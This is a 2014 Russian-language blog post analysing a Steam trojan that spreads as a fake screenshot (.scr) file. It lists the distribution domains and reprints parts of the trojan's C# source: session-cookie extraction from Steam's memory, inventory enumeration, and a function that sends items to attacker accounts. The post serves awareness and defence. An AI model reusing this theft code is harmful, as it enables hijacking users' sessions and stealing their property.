habrahabr

Троян, ворующий предметы из инвентаря Steam

  • пятница, 19 декабря 2014 г. в 02:11:06
http://habrahabr.ru/post/246175/



Хотя про этот троян известно достаточно давно, настоящую массовость он приобрел в конце ноября.
Интересно в нем то, что вместо обычной кражи логинов и паролей, от которой можно вполне просто защититься, он напрямую ворует предметы из инвентаря Steam.

Компания Valve давно в курсе проблемы, но каких-то особых действий за несколько месяцев так и не предприняла, хотя текущую волну можно без проблем остановить небольшими изменениями в клиенте Steam.

В инвентаре Steam хранятся предметы из нескольких популярных игр Valve, некоторые из которых могут стоить весьма внушительную (по меркам цветных пикселей) сумму. Также в нем хранятся предметы связанные с самим Steam (подарочные копии игр, фоны профиля, смайлы и т.п.).

Заражение


Заражение происходит следующим образом. Ничего не подозревающему пользователю приходит сообщение, в котором содержится ссылка на якобы скриншот инвентаря, с предложением обменяться предметами. После перехода по ссылке автоматически начинает загружаться файл .scr, имеющий иконку, которая выглядит как миниатюра изображения. Учитывая, что по-умолчанию в Windows показ расширения выключен, а если даже и включен, .scr вполне может быть воспринято как «screenshot», выглядит всё весьма правдоподобно.



После запуска файла троян распаковывает из ресурсов картинку и открывает её (на картинке действительно скриншот инвентаря или какого-нибудь предмета). Некоторые из модификаций прописываются в автозапуск.



Параллельно с этим троян извлекает cookies из памяти клиента Steam, делает запрос на steamcommunity.com для получения идентификатора сессии, ищет в инвентаре подходящие предметы и отправляет их через «Trade Request» на заранее подготовленные аккаунты злоумышленников.

К слову, во время написания этой статьи, я нашёл еще один вариант трояна (очевидно, основанный на публичных исходниках), который был написан немного иначе и обладал дополнительными функциями, например, рассылкой сообщений через список друзей.

Кстати, оригинальное имя собранного файла было «Maksim Steam Offer.exe», о чем мне любезно сказал рефлектор, а идентификатор профиля, на который идут украденные предметы — 76561198009197365. Домен, с которого троян распространялся (и на момент написания распространяется) — «puush-me.com» (для тех, кто решит поиграть в детектива, заходить из под виртуальной машины). И да, он там необфусцированный.

Несколько доменов, которые мне удалось собрать:

take-screen.org
fastscreen.org
my-screenshot.net
puush-me.com
picturesfast.net
screen-url.com

Что примечательно, большинство из них зарегистрированы у русских регистраторов.

Ковыряем исходники


Сам троян написан на C#, что весьма необычно для подобного рода ПО. В скачанных мною с просторов интернета исходниках было несколько файлов: WinApis.cs, содержащий несколько методов для работы с winapi.cs, Http.cs, содержащий методы для эмуляции запросов от клиента steam (вплоть до последнего хедера) и Program.cs, в котором и происходило всё действие.

Занимательно, что общий объем кода — всего около 500 строк.

Cookies из памяти клиента обе вариации трояна получают следующей регуляркой:

MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(preparedIDs);

Затем, используя полученные cookies, отправляется запрос на steamcommunity.com для получения идентификатора сессии, для чего в Http.cs есть отдельный (и весьма немаленький) метод.

Получив идентификатор, троян, используя api steamcommunity, получает содержимое инвентаря:

private static List<string[]> GetItems(string steamID, string appID)
{
    List<string[]> items = new List<string[]>();
    while (true)
    {
        string link = "profiles/" + steamID + "/inventory/json/" + appID + "/2/";
        string json = Http.SteamWebRequest(cookiesContainer, link, null, "");
        try
        {
            JObject inventory = JObject.Parse(json);

            if (((inventory.SelectToken("success") != null) && ((bool)inventory.SelectToken("success"))) &&
               (inventory.SelectToken("rgDescriptions")).First != null)
            {
                IJEnumerable<JToken> descriptionsBase = inventory.SelectToken("rgDescriptions").Values();

                foreach (JToken eachItem in inventory.SelectToken("rgInventory").Values())
                {
                    JToken infoAbout = descriptionsBase.Where(each => each["classid"].ToString() == eachItem["classid"].ToString()).First();
                    if (infoAbout["tradable"].ToString() == "1")
                    {
                        string[] item = new string[] { appID, eachItem["amount"].ToString(), eachItem["id"].ToString(), infoAbout["market_name"].ToString(), infoAbout["type"].ToString().ToLower() };
                        if (!items.Contains(item)) { items.Add(item); }
                    }
                }
            }
            break;
        }
        catch { return null; }

    }
    return items;
}

Cортирует его по заданным фильтрам:

listed = FilterByRarity(listed, "common,");

private static List<string[]> FilterByRarity(List<string[]> input, string filter)
{
    string[] filters = filter.Split(',');
    List<string[]> output = new List<string[]>();
    for (int i = 0; i < input.Count; i++)
    {
        for (int x = 0; x < filters.Length; x++)
        {
            string[] types = input[i][4].Split(' ');
            for (int c = 0; c < types.Length; c++)
            {
                if (types[c] == filters[x] && !output.Contains(input[i]))
                {
                    output.Add(input[i]);
                    break;
                }
            }
        }
    }
    return output;
}

И подходящие предметы (часто весьма недешевые) отправляются на предварительно подготовленные аккаунты:

private static string sentItems(string sessionID, string items, string[] Offer)
{
    return Http.SteamWebRequest(cookiesContainer,
         "tradeoffer/new/send",
         "sessionid=" + sessionID + 
         "&partner=" + Offer[0] +
         "&tradeoffermessage=&json_tradeoffer=%7B%22newversion%22%3Atrue%2C%22version%22%3A2%2C%22me%22%3A%7B%22assets%22%3A%5B" + items +
         "%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%2C%22them%22%3A%7B%22assets%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%7D&trade_offer_create_params=%7B%22trade_offer_access_token%22%3A%22" + Offer[2] + "%22%7D",
         "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
}

Мера предосторожности одна — используйте linux не открывайте присланные незнакомыми людьми ссылки и пользуйтесь антивирусами (они его прекрасно детектируют).